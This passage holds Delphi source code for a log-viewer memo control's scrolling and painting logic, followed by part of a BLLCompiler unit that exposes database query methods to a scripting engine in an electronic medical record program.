begin
rowState := GetRowPaintState(oldCurrentRow);
DoPaintRow(oldCurrentRow , rowState);
end;
rowState := GetRowPaintState(FCurrentRow);
DoPaintRow(FCurrentRow , rowState);
//DoRowChanged(oldCurrentRow);
FVScrollPos := FTopRow;
UpdateScrollBars;
end
else
begin
//Current Row isn't in the view, so we will need a full paint
if FCurrentRow < RowCount -1 then
begin
Inc(FCurrentRow);
Inc(FTopRow);
if FHoverRow <> -1 then
Inc(FHoverRow);
FVScrollPos := FTopRow;
//DoRowChanged(oldCurrentRow);
Invalidate;
UpdateScrollBars;
end;
end;
end
else
begin
if FCurrentRow < RowCount -1 then
begin
Inc(FCurrentRow);
FTopRow := FCurrentRow;
FVScrollPos := FTopRow;
//DoRowChanged(oldCurrentRow);
Invalidate;
UpdateScrollBars;
end;
end;
end;
end;
procedure TLogMemo.DoLineUp(const fromScrollBar: boolean);
var
oldCurrentRow : integer;
rowState : TPaintRowState;
begin
if RowCount = 0 then
exit;
oldCurrentRow := FCurrentRow;
if fromScrollBar then
begin
if FTopRow > 0 then
begin
Dec(FTopRow);
if FHoverRow > 0 then
Dec(FHoverRow);
FVScrollPos := FTopRow;
//we scrolled so full paint.
Invalidate;
UpdateScrollBars;
end;
end
else
begin
if RowInView(FCurrentRow) then
begin
//if the currentRow is visible, then we can try to move the current row if it's not at the bottom.
if ((FCurrentRow - FTopRow ) > 0) then
begin
Dec(FCurrentRow);
if FHoverRow > 0 then
Dec(FHoverRow);
//no scrolling required so just paint the affected rows.
//there may not have been a current row before.
if (oldCurrentRow >= 0) and RowInView(oldCurrentRow) then
begin
rowState := GetRowPaintState(oldCurrentRow);
DoPaintRow(oldCurrentRow , rowState);
end;
rowState := GetRowPaintState(FCurrentRow);
DoPaintRow(FCurrentRow , rowState);
FVScrollPos := FTopRow;
UpdateScrollBars;
end
else
begin
//Current Row isn't in the view, so we will need a full paint
if (FCurrentRow > 0) and (FTopRow > 0) then
begin
Dec(FCurrentRow);
Dec(FTopRow);
if FHoverRow > 0 then
Dec(FHoverRow);
FVScrollPos := FTopRow;
Invalidate;
UpdateScrollBars;
end;
end;
end
else
begin
if FCurrentRow > 0 then
begin
Dec(FCurrentRow);
if FCurrentRow < FTopRow then
FTopRow := FCurrentRow
else
FTopRow := Max(FCurrentRow - FSelectableRows - 1, 0);
FVScrollPos := FTopRow;
Invalidate;
UpdateScrollBars;
end;
end;
end;
end;
function TLogMemo.DoMouseWheelDown(Shift: TShiftState; MousePos: TPoint): Boolean;
var
scrollPos : integer;
begin
result := true;
if RowCount = 0 then
exit;
if IsAtEnd then //nothing to do
exit;
scrollPos := Min(FVScrollPos + 1, RowCount - 1) ;
ScrollBarScroll(Self,TScrollCode.scLineDown, scrollPos );
end;
function TLogMemo.DoMouseWheelUp(Shift: TShiftState; MousePos: TPoint): Boolean;
var
scrollPos : integer;
begin
result := true;
if RowCount = 0 then
exit;
if IsAtTop then //nothing to do
exit;
scrollPos := Max(0, FVScrollPos - 1);
ScrollBarScroll(Self,TScrollCode.scLineUp, scrollPos );
end;
procedure TLogMemo.DoPageDown(const fromScrollBar: boolean; const newScrollPostition: integer);
var
oldCurrentRow : integer;
oldTopRow : integer;
pageSize : integer;
rowState : TPaintRowState;
fullRepaint : boolean;
delta : integer;
begin
if RowCount = 0 then
exit;
oldTopRow := FTopRow;
oldCurrentRow := FCurrentRow;
fullRepaint := false;
delta := 0;
if fromScrollBar then
begin
//we do not change current row here.
FTopRow := newScrollPostition;
if FTopRow > (RowCount - FSelectableRows) then
FTopRow := RowCount - FSelectableRows;
if oldTopRow <> FTopRow then
begin
delta := FTopRow - oldTopRow;
fullRepaint := true;
end
end
else
begin //from keyboard
pageSize := Min(FSelectableRows, RowCount -1);
if RowInView(FCurrentRow) and ((FCurrentRow + pageSize) <= (FTopRow + FSelectableRows)) then
begin
FCurrentRow := FTopRow + FSelectableRows -1;
end
else
begin
Inc(FCurrentRow, pageSize);
FCurrentRow := Min(FCurrentRow, RowCount -1);
//position current row at the bottom
FTopRow := Max(0,FCurrentRow - FSelectableRows + 1);
fullRepaint := true;
end;
delta := FCurrentRow - oldCurrentRow;
end;
if delta > 0 then
begin
if not fullRepaint then
begin
rowState := GetRowPaintState(oldCurrentRow);
DoPaintRow(oldCurrentRow, rowState);
rowState := GetRowPaintState(FCurrentRow);
DoPaintRow(FCurrentRow , rowState);
end
else
Invalidate;
//DoRowChanged(oldCurrentRow);
FVScrollPos := FTopRow;
UpdateScrollBars;
end;
end;
procedure TLogMemo.DoPageUp(const fromScrollBar: boolean; const newScrollPostition: integer);
var
oldTopRow : integer;
oldCurrentRow : integer;
rowState : TPaintRowState;
fullRepaint : boolean;
delta : integer;
pageSize : integer;
begin
if RowCount = 0 then
exit;
oldTopRow := FTopRow;
oldCurrentRow := FCurrentRow;
fullRepaint := false;
delta := 0;
if fromScrollBar then
begin
FTopRow := newScrollPostition;
FCurrentRow := 0;
if oldTopRow <> FTopRow then
begin
delta := FTopRow - oldTopRow;
fullRepaint := true;
end
else if oldCurrentRow <> FCurrentRow then
delta := FCurrentRow - oldCurrentRow;
end
else
begin
//from keyboard
pageSize := Min(FSelectableRows, RowCount -1);
if RowInView(FCurrentRow) and (FCurrentRow > FTopRow) then
begin
FCurrentRow := FTopRow;
end
else
begin
Dec(FTopRow, pageSize);
FTopRow := Max(FTopRow, 0);
FCurrentRow := FTopRow;
fullRepaint := true;
end;
delta := FCurrentRow - oldCurrentRow;
end;
if delta < 0 then
begin
if not fullRepaint then
begin
rowState := GetRowPaintState(oldCurrentRow);
DoPaintRow(oldCurrentRow, rowState);
rowState := GetRowPaintState(FCurrentRow);
DoPaintRow(FCurrentRow , rowState);
end
else
Invalidate;
//DoRowChanged(oldCurrentRow);
FVScrollPos := FTopRow;
UpdateScrollBars;
end;
end;
procedure TLogMemo.DoPaintRow(const index: integer; const state: TPaintRowState; const copyCanvas: boolean);
var
viewRow : integer;
rowRect : TRect;
destRect : TRect;
LCanvas : TCanvas;
txt : string;
backgroundColor : TColor;
fontColor : TColor;
messageType : TLogMessageType;
begin
if not HandleAllocated then
exit;
LCanvas := FPaintBmp.Canvas;
LCanvas.Font.Assign(Self.Font);
LCanvas.Brush.Style := bsSolid;
messageType := TLogMessageType(FItems.Objects[index]);
viewRow := GetViewRow(index);
rowRect := ClientRect;
rowRect.Top := viewRow * FRowHeight;
rowRect.Bottom := rowRect.Top + FRowHeight;
rowRect.Width := FPaintBmp.Width; //paint bitmap may be wider.
if (state in [TPaintRowState.rsFocusedSelected, TPaintRowState.rsFocusedHot, TPaintRowState.rsHot]) then
begin
backgroundColor := FStyleServices.GetSystemColor(clHighlight);
fontColor := FStyleServices.GetSystemColor(clHighlightText);
end
else
begin
backgroundColor := FStyleServices.GetSystemColor(clWindow);
fontColor := FMessageColors[FThemeType][messageType];
end;
if messageType in [mtImportantInformation, mtImportantSuccess, mtImportantVerbose, mtImportantWarning,mtError] then
LCanvas.Font.Style := [fsBold];
LCanvas.Brush.Color := backgroundColor;
LCanvas.Font.Color := fontColor;
LCanvas.FillRect(rowRect);
LCanvas.Brush.Style := bsClear;
txt := FItems.Strings[index];
LCanvas.TextRect(rowRect, txt, [tfLeft, tfSingleLine, tfVerticalCenter] );
destRect := rowRect;
OffsetRect(rowRect, FHScrollPos,0);
if copyCanvas then
Canvas.CopyRect(destRect, LCanvas, rowRect);
end;
procedure TLogMemo.DoTrack(const newScrollPostition: integer);
var
oldTopRow : integer;
begin
oldTopRow := FTopRow;
FTopRow := newScrollPostition;
FVScrollPos := FTopRow;
if oldTopRow <> FTopRow then
begin
Invalidate;
UpdateScrollBars;
end;
end;
function TLogMemo.GetMaxWidth: integer;
begin
result := Max(ClientWidth, FMaxWidth);
end;
function TLogMemo.GetRowCount: integer;
begin
result := FItems.Count;
end;
function TLogMemo.GetRowFromY(const Y: integer): integer;
begin
result := (Y div FRowHeight); //this is probably not quite right.
end;
function TLogMemo.GetRowPaintState(const rowIdx: integer): TPaintRowState;
begin
if Self.Focused then
begin
result := TPaintRowState.rsFocusedNormal;
if RowInView(rowIdx) then
begin
if (rowIdx = FCurrentRow) then
result := TPaintRowState.rsFocusedSelected
else if rowIdx = FHoverRow then
result := TPaintRowState.rsFocusedHot;
end;
end
else
begin
result := TPaintRowState.rsNormal;
if RowInview(rowIdx) then
begin
if (rowIdx = FCurrentRow) then
result := TPaintRowState.rsSelected
else if rowIdx = FHoverRow then
result := TPaintRowState.rsHot;
end;
end;
end;
function TLogMemo.GetText: string;
begin
result := FItems.Text;
end;
function TLogMemo.GetViewRow(const row: integer): integer;
begin
result := row - FTopRow;
if result < 0 then
result := 0;
if result > FVisibleRows -1 then
result := FVisibleRows -1;
end;
function TLogMemo.IsAtEnd: boolean;
begin
result := FVScrollPos = RowCount - FSelectableRows;
end;
function TLogMemo.IsAtTop: boolean;
begin
result := FVScrollPos = 0;
end;
procedure TLogMemo.Loaded;
begin
// Set the bmp to the size of the control.
FPaintBmp.SetSize(Width, Height);
inherited;
end;
procedure TLogMemo.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
row : Integer;
begin
inherited;
SetFocus;
if RowCount = 0 then
exit;
row := GetRowFromY(Y);
if (row > FVisibleRows) or (row >= RowCount) then
exit;
if FTopRow + row <> FCurrentRow then
begin
FCurrentRow := FTopRow + row;
Invalidate;
UpdateScrollBars
end;
end;
procedure TLogMemo.MouseMove(Shift: TShiftState; X, Y: Integer);
begin
inherited;
UpdateHoverRow(X, Y);
end;
procedure TLogMemo.MouseUp(Button: TMouseButton; Shift: TShiftState; X,
Y: Integer);
begin
inherited;
end;
procedure TLogMemo.Paint;
var
LCanvas : TCanvas;
backgroundColor : TColor;
r : TRect;
i: Integer;
rowIdx : integer;
rowState : TPaintRowState;
begin
LCanvas := FPaintBmp.Canvas;
LCanvas.Font.Assign(Self.Font);
if FStyleServices.Enabled {$IF CompilerVersion >= 24.0} and (seClient in StyleElements) {$IFEND} then
backgroundColor := FStyleServices.GetSystemColor(clWindow)
else
backgroundColor := clWindow;
//paint background
r := Self.ClientRect;
r.Width := Max(FPaintBmp.Width, r.Width); //paintbmp may be wider than the client.
LCanvas.Brush.Style := bsSolid;
LCanvas.Brush.Color := backgroundColor;
LCanvas.FillRect(r);
//paint all visible rows
for i := 0 to FVisibleRows - 1 do
begin
rowIdx := FTopRow + i;
if rowIdx >= RowCount then
break;
rowState := GetRowPaintState(rowIdx);
DoPaintRow(rowIdx, rowState, false);
end;
r := ClientRect;
OffsetRect(r, FHScrollPos,0);
BitBlt(Canvas.Handle,0,0,r.Width, r.Height, FPaintBmp.Canvas.Handle,r.Left, r.Top, SRCCOPY);
// Canvas.CopyRect(ClientRect, FPaintBmp.Canvas, r); //uses strechblt
end;
procedure TLogMemo.Resize;
var
NewWidth, NewHeight: integer;
begin
if (not HandleAllocated) then
Exit;
if csDestroying in ComponentState then
Exit;
NewWidth := Max(ClientWidth, GetMaxWidth);
NewHeight := ClientHeight;
FMaxWidth := Min(FMaxWidth, NewWidth);
if (NewWidth <> FPaintBmp.Width) or (NewHeight <> FPaintBmp.Height) then
begin
// TBitmap does some stuff to try and preserve contents
// which slows things down a lot - this avoids that
FPaintBmp.SetSize(0, 0);
FPaintBmp.SetSize(NewWidth, NewHeight);
end;
UpdateVisibleRows;
if FMaxWidth <= ClientWidth then
FHScrollPos := 0
else if FHScrollPos > (FMaxWidth - ClientWidth) then
FHScrollPos := FMaxWidth - ClientWidth;
if FVisibleRows > RowCount then
begin
FTopRow := 0;
FVScrollPos := 0;
end
else if (RowCount - FTopRow + 1) < FVisibleRows then
begin
FTopRow := RowCount - FVisibleRows;
end;
if (RowCount > 0) and (FCurrentRow > -1) then
begin
if not RowInView(FCurrentRow) then
ScrollInView(FCurrentRow, false);
end;
// Refresh;
UpdateScrollBars;
Invalidate;
// //force repainting scrollbars
// if sfHandleMessages in StyleServices.Flags then
// SendMessage(Handle, WM_NCPAINT, 0, 0);
inherited;
end;
function TLogMemo.RowInView(const row: integer): boolean;
begin
result := (row >= FTopRow) and (row < (FTopRow + FSelectableRows));
end;
procedure TLogMemo.RowsChanged(Sender: TObject);
begin
if not (csDesigning in ComponentState) then
begin
if HandleAllocated then
begin
UpdateVisibleRows;
Invalidate;
end;
end;
end;
procedure TLogMemo.ScrollBarScroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer);
begin
case scrollCode of
TScrollCode.scLineUp: DoLineUp(true);
TScrollCode.scLineDown: DoLineDown(true);
TScrollCode.scPageUp:
begin
ScrollPos := FVScrollPos - FSelectableRows;
if ScrollPos < 0 then
ScrollPos := 0;
DoPageUp(true,ScrollPos);
end;
TScrollCode.scPageDown:
begin
ScrollPos := FVScrollPos + FSelectableRows;
if ScrollPos > RowCount -1 then
ScrollPos := RowCount - 1;
DoPageDown(true, ScrollPos);
end;
TScrollCode.scPosition,
TScrollCode.scTrack:
begin
DoTrack(ScrollPos);
end;
TScrollCode.scTop: DoGoTop;
TScrollCode.scBottom: DoGoBottom;
TScrollCode.scEndScroll: ;
end;
end;
procedure TLogMemo.ScrollInView(const index: integer; const updateSBs : boolean = true);
begin
if (RowCount = 0) or (index > RowCount -1) then
exit;
//Figure out what the top row should be to make the current row visible.
//current row below bottom of vieww
if index >= (FTopRow + FSelectableRows) then
FTopRow := Max(0, index - FSelectableRows + 1)
else //above
FTopRow := Min(index, RowCount - FVisibleRows );
if FTopRow < 0 then
FTopRow := 0;
FVScrollPos := FTopRow;
// Update;
if updateSBs then
UpdateScrollBars;
Invalidate;
end;
procedure TLogMemo.SetBorderStyle(const Value: TBorderStyle);
begin
if FBorderStyle <> Value then
begin
FBorderStyle := Value;
RecreateWnd;
end;
end;
procedure TLogMemo.SetRowHeight(const Value: integer);
begin
if FRowHeight <> value then
begin
FRowHeight := Value;
UpdateVisibleRows;
Invalidate;
end;
end;
procedure TLogMemo.SetStyleServices(const Value: TCustomStyleServices);
begin
FStyleServices := Value;
CheckTheme;
end;
procedure TLogMemo.ChangeScale(M, D: Integer{$if CompilerVersion >= 31}; isDpiChange: Boolean{$ifend});
begin
FMaxWidth := MulDiv(FMaxWidth, M, D);
UpdateScrollBars;
inherited;
end;
procedure TLogMemo.CheckTheme;
begin
if TStringUtils.Contains(FStyleServices.Name, 'Dark') then
FThemeType := TThemeType.Dark
else
FThemeType := TThemeType.Light;
end;
procedure TLogMemo.UpdateHoverRow(const X, Y: integer);
var
row : Integer;
oldHoverRow : integer;
rowState : TPaintRowState;
begin
row := FTopRow + GetRowFromY(Y);
if (row <> FHoverRow) and (row < FItems.Count) then
begin
oldHoverRow := FHoverRow;
FHoverRow := row;
if (oldHoverRow <> -1) and RowInView(oldHoverRow) then
begin
rowState := GetRowPaintState(oldHoverRow);
DoPaintRow(oldHoverRow, rowState);
end;
if (FHoverRow > -1) and RowInView(FHoverRow) then
begin
rowState := GetRowPaintState(FHoverRow);
DoPaintRow(FHoverRow , rowState);
end
end;
end;
procedure TLogMemo.UpdateScrollBars;
var
sbInfo : TScrollInfo;
begin
if not HandleAllocated then
exit;
if FUpdatingScrollBars then
exit;
FUpdatingScrollBars := true;
try
sbInfo.cbSize := SizeOf(TScrollInfo);
sbInfo.fMask := SIF_ALL;
sbInfo.nMin := 0;
//Note : this may trigger a resize if the visibility changes
if RowCount <= FSelectableRows then
begin
sbInfo.nMax := 0;
sbInfo.nPage := 0;
sbInfo.nPos := 0;
SetScrollInfo(Handle, SB_VERT, sbInfo, True);
end
else
begin
sbInfo.nMax := Max(RowCount -1, 0);
sbInfo.nPage := Min(FSelectableRows, RowCount -1);
sbInfo.nPos := Min(FVScrollPos, RowCount -1) ;
SetScrollInfo(Handle, SB_VERT, sbInfo, True);
end;
sbInfo.cbSize := SizeOf(TScrollInfo);
sbInfo.fMask := SIF_ALL;
sbInfo.nMin := 0;
sbInfo.nTrackPos := 0;
if FMaxWidth <= ClientWidth then
begin
FHScrollPos := 0;
sbInfo.nMax := 0;
sbInfo.nPage := 0;
sbInfo.nPos := 0;
SetScrollInfo(Handle, SB_HORZ, sbInfo, True);
end
else
begin
sbInfo.nMax := Max(FMaxWidth, 0);
sbInfo.nPage := ClientWidth;
sbInfo.nPos := FHScrollPos;
SetScrollInfo(Handle, SB_HORZ, sbInfo, True);
end;
finally
FUpdatingScrollBars := false;
end;
end;
procedure TLogMemo.UpdateVisibleRows;
begin
FHoverRow := -1;
if FUpdating then
exit;
FUpdating := true;
if HandleAllocated then
begin
FVisibleRows := ClientHeight div RowHeight;
FSelectableRows := Min(FVisibleRows, RowCount); //the number of full rows
if (RowCount > FVisibleRows) and (ClientHeight mod RowHeight > 0) then
begin
//add 1 to ensure a partial row is painted.
FVisibleRows := FVisibleRows + 1;
end;
UpdateScrollBars;
end;
FUpdating := false;
end;
procedure TLogMemo.WMEraseBkgnd(var Message: TWmEraseBkgnd);
begin
Message.Result := 1; //we will paint the background
end;
procedure TLogMemo.WMGetDlgCode(var Message: TWMGetDlgCode);
begin
Message.Result := Message.Result or DLGC_WANTARROWS;
end;
procedure TLogMemo.WMHScroll(var Message: TWMVScroll);
var
info : TScrollInfo;
begin
Message.Result := 0;
if FUpdatingScrollBars then
exit;
with Message do
begin
if ScrollCode = 8 then
exit;
ZeroMemory(@info, Sizeof(TScrollInfo));
info.cbSize := SizeOf(TScrollInfo);
info.fMask := SIF_ALL;
GetScrollInfo(Self.Handle,SB_HORZ, info);
case TScrollCode(scrollCode) of
TScrollCode.scLineUp: FHScrollPos := Max(0, FHScrollPos -1) ;
TScrollCode.scLineDown: FHScrollPos := Min(FMaxWidth - ClientWidth, FHScrollPos + 1) ;
TScrollCode.scPageUp:
begin
FHScrollPos := Max(0, FHScrollPos - integer(info.nPage))
end;
TScrollCode.scPageDown:
begin
FHScrollPos := Min(FHScrollPos + integer(info.nPage), FMaxWidth - ClientWidth );
end;
TScrollCode.scPosition,
TScrollCode.scTrack:
begin
FHScrollPos := Min(info.nTrackPos, FMaxWidth - ClientWidth )
end;
TScrollCode.scTop: FHScrollPos := 0;
TScrollCode.scBottom: FHScrollPos := FMaxWidth;
// TScrollCode.scEndScroll: ;
end;
UpdateScrollBars;
Refresh;
end;
end;
procedure TLogMemo.WMVScroll(var Message: TWMVScroll);
var
info : TScrollInfo;
begin
Message.Result := 0;
with Message do
begin
if ScrollCode = 8 then
exit;
info.cbSize := SizeOf(TScrollInfo);
info.fMask := SIF_TRACKPOS;
GetScrollInfo(Self.Handle,SB_VERT, info);
Self.ScrollBarScroll(Self, TScrollCode(ScrollCode), info.nTrackPos);
end;
end;
end. |
{*******************************************************}
{ }
{ 基于HCView的电子病历程序 作者:荆通 }
{ }
{ 此代码仅做学习交流使用,不可用于商业目的,由此引发的 }
{ 后果请使用者承担,加入QQ群 649023932 来获取更多的技术 }
{ 交流。 }
{ }
{*******************************************************}
unit BLLCompiler;
interface
uses
System.Classes, System.SysUtils, Vcl.Dialogs, FireDAC.Comp.Client, Data.DB, emr_MsgPack,
emr_DataBase, HCCompiler, PAXCOMP_KERNEL, PaxRegister;
type
TBLLObj = class(TObject)
private
FDebugInfo: TStringList;
//FRecordCount: Integer;
public
DB, BLLDB: TDataBase;
BLLQuery: TFDQuery;
ErrorInfo: string;
constructor Create; virtual;
destructor Destroy; override;
class procedure Appends(const AConverts: TCplConverts; var ATypeID: Integer);
// 业务数据连接相关的操作
/// <summary> 数据库类型 </summary>
function DBType(const AConn: Byte = 1): TDBType;
function CreateBllObj: TBLLObj;
procedure FreeBLLObj(var ABLLObj: TBLLObj);
function Eof: Boolean;
procedure First;
procedure Next;
procedure Last;
/// <summary> 业务对应的数据库中执行查询语句 </summary>
function SelectSQL(const ASql: string; const AConn: Byte = 1): Integer;
/// <summary> 业务对应的数据库中执行操作语句 </summary>
function ExecSQL(const ASql: string; const AConn: Byte = 1): Integer; overload;
function ExecSQL(const AConn: Byte = 1): Integer; overload;
procedure SetSQL(const ASql: string; const AConn: Byte = 1);
function GetRecordCount(const AConn: Byte = 1): Integer;
function GetParamCount(const AConn: Byte = 1): Integer;
function GetParamName(const AIndex: Integer; const AConn: Byte = 1): string;
procedure SetParamValue(const AParam: string; const AValue: Variant; const AConn: Byte = 1);
procedure ParamLoadFromStream(const AParam: string; const AStream: TStream; const AConn: Byte = 1);
function FieldAsString(const AField: string; const AConn: Byte = 1): string;
function FieldAsInteger(const AField: string; const AConn: Byte = 1): Longint;
function FieldAsBoolean(const AField: string; const AConn: Byte = 1): Boolean;
function FieldAsDateTime(const AField: string; const AConn: Byte = 1): TDateTime;
function FieldAsSingle(const AField: string; const AConn: Byte = 1): Single;
function FieldAsFloat(const AField: string; const AConn: Byte = 1): Double;
function FieldAsVariant(const AField: string; const AConn: Byte = 1): Variant;
procedure FieldAsStream(const AField: string; const AStream: TStream; const AConn: Byte = 1);
procedure SaveToStream(const AStream: TStream; const AConn: Byte = 1);
/// <summary> 业务对应的数据库连接开始一个事务 </summary>
procedure StartTransaction(const AConn: Byte = 1);
/// <summary> 业务对应的数据库连接提交事务操作 </summary>
procedure Commit(const AConn: Byte = 1);
/// <summary> 业务对应的数据库连接回滚事务 </summary>
procedure Rollback(const AConn: Byte = 1);
procedure DebugInfoClear;
procedure DebugInfoAppend(const AInfo: string);
property DebugInfo: TStringList read FDebugInfo;
end;
TBLLMsgPack = class(TMsgPack)
public
class procedure Appends(const AConverts: TCplConverts; var ATypeID: Integer);
end;
TBLLCompiler = class(THCCompiler) // 如果要增加属性或方法,需要在Proposal、BLLRegImportClass及对应的MapTable中统一增加
private
TMsgPackTypeID, TBLLObjTypeID: Integer;
public
constructor CreateByScriptType(AOwner: TComponent; const AScriptType: TScriptType = stpPascal); override;
/// <summary> 注册 TBLLCpl 需要的类和要设置的字符串 </summary>
procedure RegClassVariable(const AMsgPack, ABLLObj: Pointer);
end;
function TBLLObj_ExecSQL0(Self: TBLLObj; const AConn: Byte = 1): Integer;
function TBLLObj_ExecSQL1(Self: TBLLObj; const ASql: string; const AConn: Byte = 1): Integer;
function TMsgPack_GetAsInteger(Self: TMsgPack): Int64;
procedure TMsgPack_SetAsInteger(Self: TMsgPack; const AValue: Integer);
function TMsgPack_GetAsString(Self: TMsgPack): string;
procedure TMsgPack_SetAsString(Self: TMsgPack; const AValue: string);
function TMsgPack_GetAsBoolean(Self: TMsgPack): Boolean;
procedure TMsgPack_SetAsBoolean(Self: TMsgPack; const AValue: Boolean);
function TMsgPack_GetAsDouble(Self: TMsgPack): Double;
procedure TMsgPack_SetAsDouble(Self: TMsgPack; const AValue: Double);
function TMsgPack_GetAsSingle(Self: TMsgPack): Single;
procedure TMsgPack_SetAsSingle(Self: TMsgPack; const AValue: Single);
function TMsgPack_GetAsDateTime(Self: TMsgPack): TDateTime;
procedure TMsgPack_SetAsDateTime(Self: TMsgPack; const AValue: TDateTime);
function TMsgPack_GetAsVariant(Self: TMsgPack): Variant;
procedure TMsgPack_SetAsVariant(Self: TMsgPack; const AValue: Variant);
implementation
uses
FireDAC.Stan.Intf;
{ TBLLCompiler }
constructor TBLLCompiler.CreateByScriptType(AOwner: TComponent;
const AScriptType: TScriptType);
begin
inherited CreateByScriptType(AOwner, AScriptType);
TBLLObj.Appends(FCompilerConverts, TBLLObjTypeID);
TBLLMsgPack.Appends(FCompilerConverts, TMsgPackTypeID);
end;
procedure TBLLCompiler.RegClassVariable(const AMsgPack, ABLLObj: Pointer);
begin
if FindRegisterVariable(TMsgPackTypeID, 'MsgPack') then Exit;
Self.RegisterVariable(0, 'MsgPack', TMsgPackTypeID, AMsgPack); // 注册MsgPack
FCompilerVariables.New(TMsgPackTypeID, AMsgPack, 'MsgPack', '客户端传递的数据结构');
Self.RegisterVariable(0, 'BLL', TBLLObjTypeID, ABLLObj); // 注册业务对象
FCompilerVariables.New(TBLLObjTypeID, ABLLObj, 'BLL', '业务处理对象');
end;
{$REGION 'TMsgPack和Compiler交互的间接方法'}
function TBLLObj_ExecSQL0(Self: TBLLObj; const AConn: Byte = 1): Integer;
begin
Result := Self.ExecSQL(AConn);
end;
function TBLLObj_ExecSQL1(Self: TBLLObj; const ASql: string; const AConn: Byte = 1): Integer;
begin
Result := Self.ExecSQL(ASql, AConn);
end;
function TMsgPack_GetAsInteger(Self: TMsgPack): Int64;
begin
Result := Self.AsInteger;
end;
procedure TMsgPack_SetAsInteger(Self: TMsgPack; const AValue: Integer);
begin
Self.AsInteger := AValue;
end;
function TMsgPack_GetAsString(Self: TMsgPack): string;
begin
Result := Self.AsString;
end;
procedure TMsgPack_SetAsString(Self: TMsgPack; const AValue: string);
begin
Self.AsString := AValue;
end;
function TMsgPack_GetAsBoolean(Self: TMsgPack): Boolean;
begin
Result := Self.AsBoolean;
end;
procedure TMsgPack_SetAsBoolean(Self: TMsgPack; const AValue: Boolean);
begin
Self.AsBoolean := AValue;
end;
function TMsgPack_GetAsDouble(Self: TMsgPack): Double;
begin
Result := Self.AsDouble;
end;
procedure TMsgPack_SetAsDouble(Self: TMsgPack; const AValue: Double);
begin
Self.AsDouble := AValue;
end;
function TMsgPack_GetAsSingle(Self: TMsgPack): Single;
begin
Result := Self.AsSingle;
end;
procedure TMsgPack_SetAsSingle(Self: TMsgPack; const AValue: Single);
begin
Self.AsSingle := AValue;
end;
function TMsgPack_GetAsDateTime(Self: TMsgPack): TDateTime;
begin
Result := Self.AsDateTime;
end;
procedure TMsgPack_SetAsDateTime(Self: TMsgPack; const AValue: TDateTime);
begin
Self.AsDateTime := AValue;
end;
function TMsgPack_GetAsVariant(Self: TMsgPack): Variant;
begin
Result := Self.AsVariant;
end;
procedure TMsgPack_SetAsVariant(Self: TMsgPack; const AValue: Variant);
begin
Self.AsVariant := AValue;
end;
{$ENDREGION}
{ TBLLObj }
constructor TBLLObj.Create;
begin
FDebugInfo := TStringList.Create;
end;
function TBLLObj.CreateBllObj: TBLLObj;
begin
Result := TBLLObj.Create;
Result.DB := DB;
Result.BLLDB := BLLDB;
Result.BLLQuery := TFDQuery.Create(nil);
Result.BLLQuery.Connection := BLLQuery.Connection;
Result.ErrorInfo := '';
end;
destructor TBLLObj.Destroy;
begin
FDebugInfo.Free;
inherited Destroy;
end;
function TBLLObj.Eof: Boolean;
begin
Result := BLLQuery.Eof;
end;
function TBLLObj.ExecSQL(const AConn: Byte = 1): Integer;
begin
Result := 0;
BLLQuery.ExecSQL;
Result := BLLQuery.RowsAffected;
end;
function TBLLObj.FieldAsBoolean(const AField: string; const AConn: Byte = 1): Boolean;
begin
Result := BLLQuery.FieldByName(AField).AsBoolean;
end;
function TBLLObj.FieldAsDateTime(const AField: string; const AConn: Byte = 1): TDateTime;
begin
Result := BLLQuery.FieldByName(AField).AsDateTime;
end;
function TBLLObj.FieldAsFloat(const AField: string; const AConn: Byte = 1): Double;
begin
Result := BLLQuery.FieldByName(AField).AsFloat;
end;
function TBLLObj.FieldAsInteger(const AField: string; const AConn: Byte = 1): Longint;
begin
Result := BLLQuery.FieldByName(AField).AsInteger;
end;
function TBLLObj.FieldAsSingle(const AField: string; const AConn: Byte = 1): Single;
begin
Result := BLLQuery.FieldByName(AField).AsSingle;
end;
procedure TBLLObj.FieldAsStream(const AField: string; const AStream: TStream;
const AConn: Byte = 1);
begin
(BLLQuery.FieldByName(AField) as TBlobField).SaveToStream(AStream);
end;
function TBLLObj.FieldAsString(const AField: string; const AConn: Byte = 1): string;
begin
Result := BLLQuery.FieldByName(AField).AsString;
end;
function TBLLObj.FieldAsVariant(const AField: string; const AConn: Byte = 1): Variant;
begin
Result := BLLQuery.FieldByName(AField).AsVariant;
end;
procedure TBLLObj.First;
begin
BLLQuery.First;
end;
procedure TBLLObj.FreeBLLObj(var ABLLObj: TBLLObj);
begin
ABLLObj.BLLQuery.Free;
ABLLObj.Free;
end;
function TBLLObj.GetParamCount(const AConn: Byte = 1): Integer;
begin
Result := BLLQuery.ParamCount;
end;
function TBLLObj.GetParamName(const AIndex: Integer; const AConn: Byte): string;
begin
Result := BLLQuery.Params[AIndex].Name;
end;
function TBLLObj.GetRecordCount(const AConn: Byte): Integer;
begin
Result := BLLQuery.RecordCount;
end;
procedure TBLLObj.Last;
begin
BLLQuery.Last;
end;
procedure TBLLObj.Next;
begin
BLLQuery.Next;
end;
procedure TBLLObj.ParamLoadFromStream(const AParam: string;
const AStream: TStream; const AConn: Byte = 1);
begin
BLLQuery.ParamByName(AParam).LoadFromStream(AStream, TFieldType.ftBlob);
end;
function TBLLObj.DBType(const AConn: Byte): TDBType;
begin
Result := BLLDB.DBType;
end;
procedure TBLLObj.DebugInfoAppend(const AInfo: string);
begin
FDebugInfo.Add(AInfo);
end;
procedure TBLLObj.DebugInfoClear;
begin
FDebugInfo.Clear;
ErrorInfo := '';
end;
class procedure TBLLObj.Appends(const AConverts: TCplConverts; var ATypeID: Integer);
var
i: Integer;
begin
RegisterRTTIType(0, TypeInfo(TDBType));
ATypeID := RegisterClassType(0, TBLLObj); // TBLLObj
i := AConverts.New('function DBType(const AConn: Byte = 1): TDBType;',
'\image{5} \column{} function \column{}\style{+B}DBType\style{-B}(const AConn: Byte = 1): TDBType; \color{' + ProposalCommColor + '}// 数据库类型',
'DBType', 'BLLCompiler', 'TBLLObj', @TBLLObj.DBType);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
i := AConverts.New('function SelectSQL(const ASql: string; const AConn: Byte = 1): Integer;',
'\image{5} \column{} function \column{}\style{+B}SelectSQL\style{-B}(const ASql: string; const AConn: Byte = 1): Integer; \color{' + ProposalCommColor + '}// 业务对应的数据库中执行查询语句',
'SelectSQL', 'BLLCompiler', 'TBLLObj', @TBLLObj.SelectSQL);
RegisterHeader(ATypeID, AConverts[i].FullName, AConverts[i].Address);
